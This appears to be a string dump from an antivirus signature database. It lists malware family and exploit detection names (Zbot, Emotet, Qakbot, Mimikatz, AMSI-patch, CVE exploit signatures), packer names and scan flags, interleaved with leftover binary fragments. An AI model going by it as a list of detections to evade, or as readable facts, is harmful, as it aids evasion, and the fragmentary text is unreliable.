PQRSj3Wj3V !Petite_v12f` !Wwpack_1_1 !#FOP:Win32/Nuwar3^ !#FOP:Miuref_Decrypt !#FOP:Hupigon.NakedPack` !#FOP:PWS:Win32/Zbot.BW ^ahhhhh !#FOP:Trojan:Win32/Waledac+ !PolyEnEP !!PolyEnEP RP;ZZ !kkrunchy -\t !kkrunchy !shoooo_1Ju -\t !shoooo_1Ju !#_SVKP111` ^UQjV !PELock_1_06 !Unpack:unas !#FOP:EyeStye !VGShrink_071 WVWUWV !#FOP:Win32/Nuwar !#FOP:Win32/Vxidl !Aspack_v212Stub0] !SoftwareCompress !#FOP:Deep_AnalysisU !#FOP:Win32/C2Lop.D !AmoebaDelphiLoaderh !NSPack_UnsupportedU3V !SimpleCrypterOnTopOfMew !#FOP:Keatep_deep_analysisW !#ALFPER:Trojan:Win32/Emotet  !#FOP:Win32/Tibs_obfuscator_01 !#FOP:Worm:Win32/Conficker.B.1 !#VirTool:Win32/Obfuscator.AAW !#FOP:Backdoor:Win32/Bifrose.FUU  !CeeInject .  !CeeInject SUVWhjh !Thinstalljhjjjh .  !Thinstalljhjjjh !gamevanceU .  !gamevanceU !PEncrypt_2_0`S !#FOP:FakeSpypro !SomeEpRedirectorU jhhdPd SVWXXX XgXXXX !Aspack_v211cStub0 !#FOP:Deep_Analysis) 33Kf+ 3Cf+!2 33=u3 !RLPack_1_16f_damaged` !#FOP:zbot_deep_analysis\t[ !#Trojan:Win32/Emotet.Q!1 !#FOP:Trojan:Win32/WaledacU !#FOP:Worm:Win32/Spybot.CE kVWSj !#FOP:FakeXPA_deep_analysis !#FOP:Ogimant!Obfuscator!Acv!EpU !#ALF:FOP:VirTool:Win32/VBInject.AEEff !shoooo_2U /\t\"!shoooo_2U !!Upack_039X  !!Upack_039X !Petite_v13  !Petite_v13 !Petite_v14  !Petite_v14 !RarZip_390U  !RarZip_390U W3SSh !WinZipSfx1U  !WinZipSfx1U VWh3V !beria_0_07  !beria_0_07 UVWh3U !#do_vmmgrow_rescanI !#MpEplEntryPointCodeU !#FOP:Win32/Rustock.dr` !#FOP:Trojan:Win32/Tibs.A jhWjj !#zbot_obfuscator_codepatch1jhjjhjj jhjjhjj !#FOP:Trojan:Win32/Vundo.HV1` @@@@@@@@@@@@@ !eXPressory 0 \"!eXPressory !#FOP:Ursnif3hP  !#FOP:Ursnif3hP jjP@PQ !MPRESS_LZMA`  !MPRESS_LZMA` !PolycryptPE_1x2x !#FOP:KovterCallSledhh !#FOP:KovterCallSledjj !#FOP:KovterCallSledj !#FOP:KovterCallSled !RLPack_full_edition`jhhj !RLPack_full_edition !#FOP:Win32/Obfuscator3^ !#FOP:BatToExeConverter u+QVP !#FOP:Simda_Deep_Analysis !#FOP:Trojan:Win32/Srizbi.Bh !#FOP:TrojanDropper:Win32/Small.RZ% 0\" !#FOP:TrojanDownloader:Win32/Cutwail.AG !#FOP:EyeStyeU 1  !#FOP:EyeStyeU !#FOP:Miuref_DecryptU !#FOP:Bifrose.Themida !#zbot_obfuscator_codepatch1jhhjhj jhhjhj !#FOP:Injector_generic_attibute t_^2] !HmimysU '!HmimysU !#FOP:VMM_GrowS  !#FOP:VMM_GrowS tVWhjS !#FOP:VMM_GrowU  !#FOP:VMM_GrowU Sjhh3S VWhSP !#virut_type_A]  !#virut_type_A] !LameCrypt_1_0`f  !LameCrypt_1_0`f !obfuscator.ft3Jj  !obfuscator.ft3Jj !shoooo_1_LZMA  !shoooo_1_LZMA !shoooo_2_LZMA  !shoooo_2_LZMA !YodaProtector.1_02 !#zbot_obfuscator_codepatch1jjj !#zbot_obfuscator_codepatch1j !#FOP:VirTool:Win32/DelfInject.AX 2! !PEncrypt_2_0 3 \"!PEncrypt_2_0 !#_SVKP132_143` !!#_SVKP132_143` !#FOP:GamevanceU  !#FOP:GamevanceU !#FOP:JunkMovAl  !#FOP:JunkMovAl !#FOP:aplib_x64=s  !#FOP:aplib_x64=s !ArmProtector03]  !ArmProtector03] !PECompact2_DBG  !PECompact2_DBG USQWVR !Petite_v21L1_9  !Petite_v21L1_9 hddf`P3 !Petite_v22L1_9  !Petite_v22L1_9 hddf`Ph PVjhWjjVjhW !Petite_v23L1_9  !Petite_v23L1_9 hddf`P VjPWjjVjPW !PrivateEXE_1_7  !PrivateEXE_1_7 !RarDefault_330  !RarDefault_330 !RarDefault_390  !RarDefault_390 !SimplePack_1.x  !SimplePack_1.x \tujhhj !BeRoExePacker_v1` !#FOP:NeoreklamiEP1 !#FOP:NeoreklamiEP2 !#FOP:Obfuscator.ESSVQ u3AJu !#FOP:SmrtInstMkrCab !#FOP:Trojan:Win32/Vundo.D@@@@@@ HHHHHHHHHHH !#Lowfi:FOP:Chroject_Decrypt !#Rovnix_DropperhV  !#Rovnix_DropperhV !#Rovnix_Dropperhj  !#Rovnix_Dropperhj !#Rovnix_Dropper  !#Rovnix_Dropper !#do_deep_rescan`  !#do_deep_rescan` !#do_deep_rescanjj  !#do_deep_rescanjj  !#do_deep_rescan fhhhhh !PolyCrypt_2_1_4  !PolyCrypt_2_1_4 !unk_aPLib_based_^  !unk_aPLib_based_^ !LightyCompressorU 1jhhjhj hhjhj !#attrmatch_codepatch_EIP_0000000A_8BD83C 4'\t!#attrmatch_codepatch_EIP_0000000A_8BD83C !Aspack_v1084 5 $!Aspack_v1084 !#FOP:Win32/NuwarU  !#FOP:Win32/NuwarU VSUW1  !#FOP:Win32/Nuwar !BeRoExePacker_v1`hhh  !BeRoExePacker_v1`hhh  !BeRoExePacker_v1` !CabSfxW_4a1ba5bdVUh  !CabSfxW_4a1ba5bdVUh !EXECryptor_2.x.xVWS1  !EXECryptor_2.x.xVWS1 !EXECryptor_2.x.xYX[  !EXECryptor_2.x.xYX[ !EXECryptor_2.x.x  !EXECryptor_2.x.x  !LightyCompressorU !GoatPEMutilator_1_6`j !#FOP:TrojanSpy:Win32/Nivdort.Q2 !!#FOP:Win32/Nuwar !#FOP:Expiro.gen!E`U  !#FOP:Expiro.gen!E`U !YingInstall_v5800h  !YingInstall_v5800h !eXPressor_1.5.0.1  !eXPressor_1.5.0.1 ujhhj 5%!\t\t1 Rhhjhj !#LowFi:Win32/Upatre_SendMsg !#VirTool:Win32/Obfuscator_LOD.Ah 6% \"!#FOP:Win32/Nuwar !#FOP:Deep_Analysis3  !#FOP:Deep_Analysis3  !#FOP:Deep_AnalysisU  !#FOP:Deep_Analysisj j3SSj  !#FOP:Deep_Analysis !#FOP:Obfuscator.GS  !#FOP:Obfuscator.GS S39VWt !#FOP:PrivacyCenter9  !#FOP:PrivacyCenter9 !#FOP:Win32/EyeStye  !#FOP:Win32/EyeStye 5|Sf[RS~ [ZSUsS !#FOP:Win32/Induc.BU  !#FOP:Win32/Induc.BU jjIuQ !#FOP:Zbot_Packer_A3G  !#FOP:Zbot_Packer_A3G !#FOP:Zbot_Packer_A3  !#FOP:Zbot_Packer_A3 u@=u3MMMH s2%%%H u@3=u3 u@=u399  !#FOP:Zbot_Packer_AU hjjhjj !#FOP:Zbot_Packer_A[C  !#FOP:Zbot_Packer_A[C !#FOP:Zbot_Packer_A`hV^Z  !#FOP:Zbot_Packer_A`hV^Z  !#FOP:Zbot_Packer_A !``aa 3=u3XXXS !#Rovnix_Dropper_v2  !#Rovnix_Dropper_v2 !#do_vmmgrow_rescanU  !#do_vmmgrow_rescanU  !#do_vmmgrow_rescan !1\tA!hj !wintrim_obfuscator  !wintrim_obfuscator !#FOP:zbot_deep_analysisV 1Uhdd 1ZYYd !#FOP:Trojan:Win32/Tibs.LC !#VirTool:Win32/Obfuscator_LOD.A !#attrmatch_codepatch_EIP_0000001A_EB !#attrmatch_codepatch_EIP_00000020_01h !#attrmatch_codepatch_EIP_0000001C_9090 !#Cmdline_Obfuscator  !#Cmdline_Obfuscator !#FOP:Win32/Bankrypt0@  !#FOP:Win32/Bankrypt0@ !ApplibDecompression  !ApplibDecompression !MuckisProtector_2_0  !MuckisProtector_2_0 !kkrunchy_0.23_alpha  !kkrunchy_0.23_alpha !#Rogue:Win32/Winwebsec !#FOP:Virus:Win32/Golem.G2 !#FOP:Virus:Win32/FakeExplorer.A` yyyyyyyy cyyyyyyyy !#FOP:Virus:Win32/FakeExplorer.B` cyyyyyyyyyyyyy !#FOP:TrojanDownloader:Win32/Delf.CS B@Nuj !#FOP:TrojanDownloader:Win32/Agent.IXU !#FOP:TrojanDownloader:Win32/Fudyut.A 9a78a3096eae  C:\\temp\\myapp.exe  9cb32eb20f6a e078d0ee7f7c  !#do_exhaustivehstr_rescanObMpAttributes isparanoid MpEnableExhaustiveDexScanning 15b303e55775 2345soft \t2345soft 15b3319e6605 15b34c11459d 15b398af535b  437856ff197a  4a78439ec610  4d41c420cfea  executble_image 5a78ec245280  63782f027c75  6878cb96a614  6b8d611167ec PUA:Block:Bundlore.R 6c41b11326ff  72789adece0e  7378a0e4e532  7378d53e7000  7878943c0364  79784bda1deb  7a7839a9fbf9  7b78fd6741ee  8778f6a1a1f5  93788d81fc95  9a78c569af86  9c789ba67cbf  a278eb5c64c5  b3781dd9330f  b978418de539  b978e4cfedfc  bf78f78b13bb  c078d32aab93  f178f3690e1c  1789628cbfbb 3789452d8575 3db34fab1a32 steam.exe  40896a40f234 88613c3b1784 ->(Upxw64) HSTR:HackTool:Win64/MikatzUPX 8f7813ecdbb5  ad787dbad042 securityOffset e1b3d9f5af93 \\%l%l%l%l%l%l%l%l.exe e478a5dbb5a0 4d298c9ac9fe 4d298c9ac9feIncludesResearchData websettings.xml.rels 4f296cf42557 4f296cf42557IncludesResearchData 4f29f2a5bdc8 4f29f2a5bdc8IncludesResearchData 5029fd12dcc8 5029fd12dcc8IncludesResearchData 52294ab098ab 52294ab098abIncludesResearchData 53297a0e29c4 53297a0e29c4IncludesResearchData 5329db9de718 5329db9de718IncludesResearchData 8329fbb676fc 8329fbb676fcIncludesResearchData 1257898c5dd76  1338dcf1b5461 PUA:Block:Bundlore.P 13a7895eea07a 14f78d0c64e0e  18a61067a4815  1d4781d20490a  HSTR:JAVA:Feature:M:688 SIGATTR:Java:Throwable.getMessage SCPT:PostScript_forall SIGATTR:Java:Long.parseLong HSTR:JAVA:Feature:C:634 HSTR:JAVA:Feature:C:15 HSTR:JAVA:Feature:C:614 SIGATTR:Java:ByteArrayOutputStream.close SIGATTR:Java:File.getAbsolutePath SIGATTR:Java:MessageDigest.update SIGATTR:Java:AccessController.doPrivileged SIGATTR:Java:Object.wait SIGATTR:Java:SecureRandom.nextBytes SIGATTR:Java:ObjectInputStream.defaultReadObject HSTR:JAVA:Feature:C:144 HSTR:JAVA:Feature:M:160 BRUTE:VBS:Feature:M:783 BRUTE:VBS:Feature:C:267 HSTR:JAVA:Feature:C:284 SCPT:Exploit:O97M/CVE-2017-11882.APR1!MTB SCPT:Exploit:O97M/CVE-2017-11882.YA7!MTB SCRIPT:Exploit:Win32/CVE-2015-1641-4 BRUTE:JAMSI:Feature:C:144 SIGATTR:Java:Toolkit.getDefaultToolkit SCPT:RansomNoteCat3_19 SIGATTR:Java:String.split SIGATTR:Java:ObjectInputStream.readObject SIGATTR:Java:Method.getReturnType HSTR:JAVA:Feature:C:548 BRUTE:VBS:Feature:M:511 SIGATTR:Java:String.valueOf SIGATTR:Java:Long.toString SIGATTR:Java:Boolean.valueOf HSTR:JAVA:Feature:C:354 BRUTE:VBS:Feature:M:706 SIGATTR:Java:ByteBuffer.putInt SIGATTR:Java:Cipher.init BRUTE:VBS:Feature:C:43 HSTR:JAVA:Feature:C:520 BRUTE:VBS:Feature:M:283 BRUTE:VBS:Feature:C:689 HSTR:JAVA:Feature:C:161 HSTR:JAVA:Feature:C:200 BRUTE:PDF:Feature:C:720 BRUTE:VBS:Feature:M:675 flafisiX SIGATTR:Java:String.toCharArray BRUTE:VBS:Feature:C:185 Script:Phish:HTTPS/Mitargcro.S201 AGGR:Phish:HTTPS/Mitargcro.S200 BRUTE:VBS:Feature:C:435 HSTR:JAVA:Feature:M:205 BRUTE:VBS:Feature:M:150 HSTR:JAVA:Feature:C:356 BRUTE:VBS:Feature:C:450 SIGATTR:Java:Hashtable.get HSTR:JAVA:Feature:C:367 SCRIPT:Psloadlib.A HSTR:JAVA:Feature:C:96 HSTR:JAVA:Feature:C:119 SCPT:RansomNoteCat4_50 SIGATTR:Java:DataOutputStream.writeByte HSTR:JAVA:Feature:C:517 HSTR:JAVA:Feature:C:295 BRUTE:VBS:Feature:M:349 AGGR:Lua:JarClassFilesInsideGE25 SIGATTR:Java:Field.getType SIGATTR:Java:Class.getPackage HSTR:JAVA:Feature:C:164 BRUTE:PDF:Feature:M:589 SIGATTR:Java:MessageDigest.getInstance HSTR:JAVA:Feature:C:370 SIGATTR:Java:String.startsWith BRUTE:PDF:Feature:C:178 HSTR:JAVA:Feature:M:623 BRUTE:VBS:Feature:C:295 HSTR:JAVA:Feature:C:538 SCPT:VBSExe SCPT:Adodb.vbsexe HSTR:JAVA:Feature:C:612 HSTR:JAVA:Feature:C:145 BRUTE:VBS:Feature:C:217 SCPT:ClnWordsCat2_39 HSTR:JAVA:Feature:M:622 HSTR:JAVA:Feature:C:13 BRUTE:VBS:Feature:M:246 HSTR:JAVA:Feature:M:196 SIGATTR:Java:Method.getDeclaringClass HSTR:JAVA:Feature:C:180 HSTR:JAVA:Feature:C:259 SCPT:Ping SIGATTR:Java:String.contains SIGATTR:Java:InetAddress.getHostAddress SIGATTR:Java:AudioFormat.getSampleRate SIGATTR:Java:JPanel.add SIGATTR:Java:AudioFormat.getFrameSize HSTR:JAVA:Feature:C:482 BRUTE:VBS:Feature:M:618 ATTR:RPF:ZipZipExt SIGATTR:Java:InputStream.close SIGATTR:Java:Writer.write BRUTE:JAMSI:Feature:M:66 SCPT:Hostname BRUTE:VBS:Feature:M:137 SCPT:TrojanDownloader:O97M/Obfuse.JQ1 SIGATTR:Java:System.nanoTime HSTR:JAVA:Feature:C:564 HSTR:JAVA:Feature:C:400 HSTR:JAVA:Feature:C:286 BRUTE:VBS:Feature:M:56 BRUTE:VBS:Feature:M:395 BRUTE:JAMSI:Expert:Feature:58 BRUTE:VBS:Feature:C:354 HSTR:JAVA:Feature:M:108 HSTR:JAVA:Feature:M:675 HSTR:JAVA:Feature:C:66 HSTR:JAVA:Feature:M:515 SIGATTR:Java:PrivilegedActionException.getException SIGATTR:Java:System.getProperty SCPT:HPDockStationFirmware.p1 HSTR:JAVA:Feature:C:70 HSTR:JAVA:Feature:M:640 SIGATTR:Java:DataBuffer.setElem SIGATTR:Java:Math.abs BRUTE:VBS:Feature:M:766 HSTR:JAVA:Feature:M:685 BRUTE:VBS:Feature:M:310 HSTR:JAVA:Feature:M:308 SCPT:GeneralityExploitStrRare.C SIGATTR:Java:Character.toUpperCase HSTR:JAVA:Feature:C:312 HSTR:JAVA:Feature:M:45 SIGATTR:Java:Container.add HSTR:JAVA:Feature:C:588 SIGATTR:Java:Math.sqrt HSTR:JAVA:Feature:C:628 BRUTE:VBS:Feature:C:682 BRUTE:JAMSI:Feature:M:224 SIGATTR:Java:Cipher.doFinal HSTR:JAVA:Feature:C:512 HSTR:JAVA:Feature:C:437 BRUTE:VBS:Feature:C:761 BRUTE:VBS:Feature:M:548 SIGATTR:Java:Class.getMethod HSTR:JAVA:Feature:C:509 SIGATTR:Java:HttpURLConnection.setDoOutput SIGATTR:Java:InetAddress.getLocalHost SIGATTR:Java:LinkedList.isEmpty SIGATTR:Java:IOException.printStackTrace BRUTE:PDF:Feature:C:222 HSTR:JAVA:Feature:M:641 HSTR:JAVA:Feature:M:223 SIGATTR:Java:Reflect_Method.invoke HSTR:JAVA:Feature:C:84 SIGATTR:Java:String.indexOf SIGATTR:Java:HashMap.remove SCPT:VBSForEach SIGATTR:Java:BigInteger.toByteArray BRUTE:VBS:Feature:C:95 HSTR:JAVA:Feature:C:252 SIGATTR:Java:Class.toString HSTR:JAVA:Feature:C:646 BRUTE:VBS:Feature:M:711 SIGATTR:Java:IOException.toString ExceptionExt BRUTE:VBS:Feature:C:282 SCPT:RansomNoteCat4_30 SIGATTR:Java:Reflect_Field.set BRUTE:VBS:Feature:C:437 SCRIPT:FlashExp_writebyte SCRIPT:Exploit:SWF/Netis.B-2 HSTR:JAVA:Feature:C:38 BRUTE:JAMSI:Feature:C:93 SIGATTR:Java:String.format HSTR:JAVA:Feature:C:551 HSTR:JAVA:Feature:C:581 ML:LUA:FileSizeLE400.A HSTR:JAVA:Feature:C:329 SIGATTR:Java:SecurityManager.checkPermission SIGATTR:Java:OutputStream.write HSTR:JAVA:Feature:M:8 HSTR:JAVA:Feature:M:684 SIGATTR:Java:Method.invoke BRUTE:Exploit:Java/CVE-2008-5353.C3 BRUTE:VBS:Feature:M:544 SCPT:LNK/EvalAttr HSTR:JAVA:Feature:C:601 SIGATTR:Java:Field.set HSTR:JAVA:Feature:C:165 HSTR:JAVA:Feature:C:151 BRUTE:VBS:Feature:C:91 SIGATTR:Java:Class.forName SIGATTR:Java:DataOutputStream.write BRUTE:JAMSI:Feature:C:266 SIGATTR:Java:Class.getClassLoader BRUTE:JAMSI:Feature:M:278 AGGR:AlreadyExistInstaller AGGR:GenericInstallerFile HSTR:JAVA:Feature:C:61 SIGATTR:Java:Math.log HSTR:JAVA:Feature:M:18 BRUTE:VBS:Feature:C:113 SCPT:O97M/Trickbot.VAR4!MTB SCPT:TrojanDownloader:O97M/Zloader.STO3 BRUTE:PDF:Feature:M:728 BRUTE:VBS:Feature:M:528 SIGATTR:Java:Graphics2D.draw HSTR:JAVA:Feature:M:402 Exploit:Java/CVE-2013-1493.INIT AGGR:ExcelSiorType.B SIGATTR:Java:ColorConvertOp.filter SIGATTR:Java:Integer.toString SIGATTR:Java:Method.getParameterTypes HSTR:JAVA:Feature:C:244 BRUTE:PDF:Feature:M:105 ExcelSiorType.C HSTR:JAVA:Feature:M:243 SCPT:PDF.HasImage SCRIPT:Psmarshal.A HSTR:JAVA:Feature:C:373 BRUTE:VBS:Feature:C:227 BRUTE:PDF:Feature:C:702 SCPT:JS/BASE64.function.A SCPT:JS/Return HSTR:JAVA:Feature:M:178 BRUTE:JAMSI:Feature:M:235 BRUTE:PDF:Feature:M:353 BRUTE:JAMSI:Feature:C:133 BRUTE:PDF:Feature:M:479 BRUTE:VBS:Feature:M:84 HSTR:JAVA:Feature:M:174 SCRIPT:base64 HSTR:JAVA:Feature:C:59 SCPT:RansomNoteCat4_48 SIGATTR:Java:Math.sin SCPT:Linux/Trojan.mal_attr_ChmodToExec HSTR:JAVA:Feature:M:589 HSTR:JAVA:Feature:C:130 BRUTE:VBS:Feature:C:272 HSTR:JAVA:Feature:C:74 BRUTE:JAMSI:Feature:M:225 BRUTE:VBS:Feature:M:458 HSTR:JAVA:Feature:M:122 SIGATTR:Java:Expression.getValue SIGATTR:Java:Thread.getContextClassLoader HSTR:JAVA:Feature:C:404 BRUTE:VBS:Feature:C:477 HSTR:JAVA:Feature:C:500 SIGATTR:Java:Integer.intValue HSTR:Trojan:Java/ZKM HSTR:JAVA:Feature:C:228 SIGATTR:Java:ICC_Profile.getInstance BRUTE:PDF:Feature:M:160 BRUTE:VBS:Feature:C:540 HSTR:JAVA:Feature:C:502 BRUTE:VBS:Feature:C:527 SIGATTR:Java:Socket.getInputStream BRUTE:VBS:Feature:C:183 SIGATTR:Java:LinkedList.add BRUTE:VBS:Feature:C:292 HSTR:JAVA:Feature:M:287 HSTR:JAVA:Feature:M:220 SCPT:TrojanDownloader:O97M/Qakbot.PJI6!MTB BRUTE:VBS:Feature:M:817 HSTR:JAVA:Feature:C:303 BRUTE:PDF:Feature:M:153 SIGATTR:Java:Method.getModifiers SIGATTR:Java:Long.longValue BRUTE:PDF:Feature:M:162 SCPT:JS/copyright SCPT:GeneralityExploitStrRare.V SCPT:ClnWordsCat1_2 BRUTE:VBS:Feature:M:431 HSTR:JAVA:Feature:C:446 BRUTE:VBS:Feature:M:102 BRUTE:VBS:Feature:M:69 BRUTE:PDF:Feature:M:648 HSTR:JAVA:Feature:C:235 SCPT:JS/license SCPT:VBSCLicense SCPT:ClnWordsCat2_47 SCPT:RansomNoteCat4_34 HSTR:JAVA:Feature:M:57 BRUTE:PDF:Feature:M:810 SCPT:RansomNoteCat4_2 SCPT:RansomNoteCat1_3 HSTR:JAVA:Feature:C:310 BRUTE:JAMSI:Feature:M:109 HSTR:JAVA:Feature:M:411 HSTR:JAVA:Feature:C:330 BRUTE:VBS:Feature:M:546 SIGATTR:Java:ByteBuffer.allocate SIGATTR:Java:Object.hashCode BRUTE:VBS:Feature:C:518 SIGATTR:Java:Double.parseDouble SIGATTR:Java:LinkedList.iterator SCPT:RansomNoteCat2_3 HSTR:JAVA:Feature:C:63 BRUTE:JAMSI:Feature:C:155 SIGATTR:Java:Field.get HSTR:JAVA:Feature:M:508 BRUTE:VBS:Feature:M:642 HSTR:JAVA:Feature:C:237 SIGATTR:Java:ByteBuffer.put SIGATTR:Java:PrintStream.print BRUTE:JAMSI:Feature:M:91 HSTR:JAVA:Feature:C:24 HSTR:JAVA:Feature:M:32 HSTR:JAVA:Feature:C:85 HSTR:JAVA:Feature:M:313 BRUTE:VBS:Feature:C:368 Lua:FileBaseFolderInCdrive HSTR:JAVA:Feature:M:352 SIGATTR:Java:Reflect_Field.get HSTR:JAVA:Feature:C:291 HSTR:JAVA:Feature:C:570 HSTR:JAVA:Feature:C:208 Exception:Masquerading.EA BRUTE:VBS:Feature:M:204 HSTR:JAVA:Feature:C:297 BRUTE:JAMSI:Feature:C:49 SCRIPT:FlashExp_blowfish SIGATTR:Java:Statement.execute SCPT:hidden BRUTE:LNK:Expert:Feature:239 SIGATTR:Java:Math.min BRUTE:JAMSI:Feature:C:134 HSTR:JAVA:Feature:C:138 BRUTE:JAMSI:Expert:Feature:63 HSTR:JAVA:Feature:C:556 SCPT:Phish:PHP/Loader.GG SIGATTR:Java:Character.isWhitespace BRUTE:VBS:Feature:M:513 HSTR:JAVA:Feature:M:670 SIGATTR:Java:WritableRaster.getDataBuffer SIGATTR:Java:Object.notify HSTR:JAVA:Feature:M:458 BRUTE:VBS:Feature:C:116 BRUTE:VBS:Feature:C:156 HSTR:JAVA:Feature:C:183 BRUTE:VBS:Feature:C:248 BRUTE:VBS:Feature:C:347 BRUTE:VBS:Feature:C:346 HSTR:JAVA:Feature:M:660 HSTR:JAVA:Feature:M:46 HSTR:JAVA:Feature:C:438 SIGATTR:Java:Method.getName BRUTE:Python/Leivion.B.Len HSTR:JAVA:Feature:M:124 HSTR:JAVA:Feature:C:266 BRUTE:PDF:Feature:C:555 HSTR:JAVA:Feature:C:443 ALF:AGGR:Vampa:99!ml SIGATTR:Java:FileOutputStream.write BRUTE:VBS:Feature:M:677 BRUTE:VBS:Feature:C:665 HSTR:JAVA:Feature:C:64 BRUTE:JAMSI:Feature:C:258 HSTR:JAVA:Feature:C:345 HSTR:JAVA:Feature:M:595 BRUTE:VBS:Feature:C:209 HSTR:JAVA:Feature:C:421 SCPT:TrojanDownloader:O97M/Obfuse.PKV6!MTB SCPT:RansomNoteCat4_32 BRUTE:VBS:Feature:C:580 BRUTE:VBS:Feature:M:685 HSTR:JAVA:Feature:M:106 BRUTE:VBS:Feature:C:441 HSTR:JAVA:Feature:M:501 BRUTE:PDF:Feature:C:305 SIGATTR:Java:Socket.close BRUTE:JAMSI:Feature:C:97 SIGATTR:Java:File.length SIGATTR:Java:URLEncoder.encode HSTR:JAVA:Feature:M:186 BRUTE:LNK:Expert:Feature:109 SIGATTR:Java:StringTokenizer.hasMoreTokens BRUTE:PDF:Feature:C:299 HSTR:JAVA:Feature:C:466 HSTR:JAVA:Feature:M:315 SCPT:RansomNoteCat4_10 HSTR:JAVA:Feature:C:197 SCPT:RansomNoteCat2_9 ML:LUA:FileSizeLE1000.A BRUTE:VBS:Feature:C:488 HSTR:JAVA:Feature:M:69 BRUTE:VBS:Feature:M:22 BRUTE:VBS:Feature:C:708 BRUTE:VBS:Feature:M:259 SIGATTR:Java:Class.getConstructor SCPT:AutoItApi_IsArray HSTR:JAVA:Feature:M:353 HSTR:JAVA:Feature:M:209 BRUTE:LNK:Expert:Feature:42 BRUTE:JAMSI:FuncN:13 SIGATTR:Java:String.trim BRUTE:LNK:Expert:Feature:30 SCPT:LNK/http HSTR:JAVA:Feature:M:211 BRUTE:PDF:Feature:M:431 BRUTE:PDF:Feature:C:747 HSTR:JAVA:Feature:M:249 BRUTE:LNK:Expert:Feature:140 BRUTE:VBS:Feature:C:18 SIGATTR:Java:String.getBytes HSTR:JAVA:Feature:M:27 HSTR:JAVA:Feature:C:49 SCPT:AmsiPatch.A4 HSTR:JAVA:Feature:C:691 HSTR:JAVA:Feature:C:540 BRUTE:VBS:Feature:M:363 SCRIPT:VBSRun BRUTE:VBS:Feature:C:142 BRUTE:PDF:Feature:M:723 HSTR:Zkm_Decoder BRUTE:VBS:Feature:C:646 BRUTE:PDF:Feature:C:46 BRUTE:JAMSI:Feature:C:187 SIGATTR:Java:Class.getResource BRUTE:VBS:Feature:M:73 SIGATTR:Java:System.exit HSTR:JAVA:Feature:M:322 SIGATTR:Java:Throwable.printStackTrace HSTR:JAVA:Feature:C:655 BRUTE:JAMSI:Feature:C:190 SIGATTR:Java:Logger.getLogger BRUTE:PDF:Feature:C:814 HSTR:JAVA:Feature:M:11 HSTR:JAVA:Feature:C:477 SIGATTR:Java:Class.isArray SIGATTR:Java:ByteArrayOutputStream.toByteArray BRUTE:LNK:Expert:Feature:183 BRUTE:VBS:Feature:C:339 SCPT:AutoItApi_String BRUTE:PDF:Feature:C:145 BRUTE:VBS:Feature:C:302 HSTR:JAVA:Feature:C:575 HSTR:JAVA:Feature:C:279 SIGATTR:Java:File.createNewFile SIGATTR:Java:String.compareTo SIGATTR:Java:File.getParentFile SLF:Context/NonPeExtractedFileInArchive.B!jar Lua:NonPeExtractedFileInArchive.B HSTR:JAVA:Feature:C:140 BRUTE:PDF:Feature:M:553 HSTR:JAVA:Feature:M:621 HSTR:JAVA:Feature:C:362 HSTR:JAVA:Feature:M:563 HSTR:JAVA:Feature:M:254 ALF:AGGR:Vampa:90!ml SIGATTR:Java:File.getPath ALF:AGGR:Vampa:80!ml SIGATTR:Java:Arrays.fill HSTR:JAVA:Feature:M:111 BRUTE:JAMSI:Feature:C:68 HSTR:JAVA:Feature:C:654 HSTR:JAVA:Feature:M:527 HSTR:JAVA:Feature:M:555 BRUTE:VBS:Feature:C:251 SIGATTR:Java:DataOutputStream.writeInt HSTR:JAVA:Feature:M:121 SIGATTR:Java:Graphics.drawImage SIGATTR:Java:File.delete SIGATTR:Java:Class.isPrimitive HSTR:JAVA:Feature:M:377 Lua:FileSizeLT2000 SIGATTR:Java:InetAddress.getAddress SCPT:ClnWordsCat2_13 HSTR:JAVA:Feature:C:671 BRUTE:PDF:Feature:M:444 BRUTE:VBS:Feature:C:424 Trojan:O97M/Donoff.Y4 BRUTE:VBS:Feature:C:86 BRUTE:PDF:Feature:M:632 VirTool:Java/Obfuscator.A HSTR:JAVA:Feature:M:553 BRUTE:PDF:Feature:M:42 SIGATTR:Java:Arrays.asList SIGATTR:Java:StackTraceElement.getMethodName SIGATTR:Java:BufferedOutputStream.write BRUTE:VBS:Feature:M:495 HSTR:JAVA:Feature:M:261 SIGATTR:Java:Class.getDeclaredFields SIGATTR:Java:Float.floatValue HSTR:JAVA:Feature:M:572 SIGATTR:Java:Array.newInstance SCPT:RansomNoteCat3_33 SIGATTR:Java:Object.toString BRUTE:VBS:Feature:C:403 BRUTE:VBS:Feature:C:72 HSTR:JAVA:Feature:M:250 HSTR:JAVA:Feature:C:105 BRUTE:JAMSI:Feature:C:71 HSTR:JAVA:Feature:C:215 HSTR:JAVA:Feature:M:73 SCRIPT:StringDisplayName.A BRUTE:VBS:Feature:M:564 BRUTE:VBS:Feature:M:353 SIGATTR:Java:File.getParent HSTR:JAVA:Feature:M:585 SCPT:RansomNoteCat4_40 BRUTE:VBS:Feature:M:799 HSTR:JAVA:Feature:M:229 SCPT:TrojanDownloader:O97M/Zloader.STO8 HSTR:JAVA:Feature:M:292 SIGATTR:Java:File.mkdirs SIGATTR:Java:File.isFile SCPT:Backdoor:Php/Dirtelti.GG15 SIGATTR:Java:OutputStream.flush BRUTE:JAMSI:Feature:C:299 BRUTE:Exploit:Java/CVE-2008-5353.C1 SIGATTR:Java:HashMap.put BRUTE:JAMSI:Feature:C:186 SCRIPT:PHP/GetEnv!MTB SIGATTR:Java:StringBuffer.reverse BRUTE:VBS:Feature:C:335 BRUTE:VBS:Feature:M:158 SIGATTR:Java:Exception.getMessage SIGATTR:Java:File.isDirectory HSTR:JAVA:Feature:C:285 SCPT:RansomNoteCat4_21 SIGATTR:Java:PrintWriter.write SCRIPT:CMDString BRUTE:LNK:Expert:Feature:53 BRUTE:VBS:Feature:C:519 HSTR:JAVA:Feature:C:490 HSTR:JAVA:Feature:C:129 BRUTE:LNK:Expert:Feature:83 SCPT:Backdoor:ASP/Dirtelti.K4!MTB SCRIPT:AMSITest2 SCPT:Backdoor:ASP/Dirtelti.G6!MTB BRUTE:PDF:Feature:C:756 BRUTE:LNK:Expert:Feature:136 SCPT:LNK/FunAttr SIGATTR:Java:Statement.getMethodName HSTR:JAVA:Feature:C:434 HSTR:JAVA:Feature:C:380 BRUTE:VBS:Feature:M:345 SCPT:Phish:PHP/Created.GG HSTR:JAVA:Feature:C:409 SIGATTR:Java:StackTraceElement.getClassName BRUTE:LNK:Expert:Feature:208 BRUTE:JAMSI:Feature:C:243 SIGATTR:Java:Math.random SIGATTR:Java:Class.newInstance SCPT:RansomNoteCat4_15 BRUTE:VBS:Feature:C:338 BRUTE:VBS:Feature:C:337 HSTR:JAVA:Feature:M:332 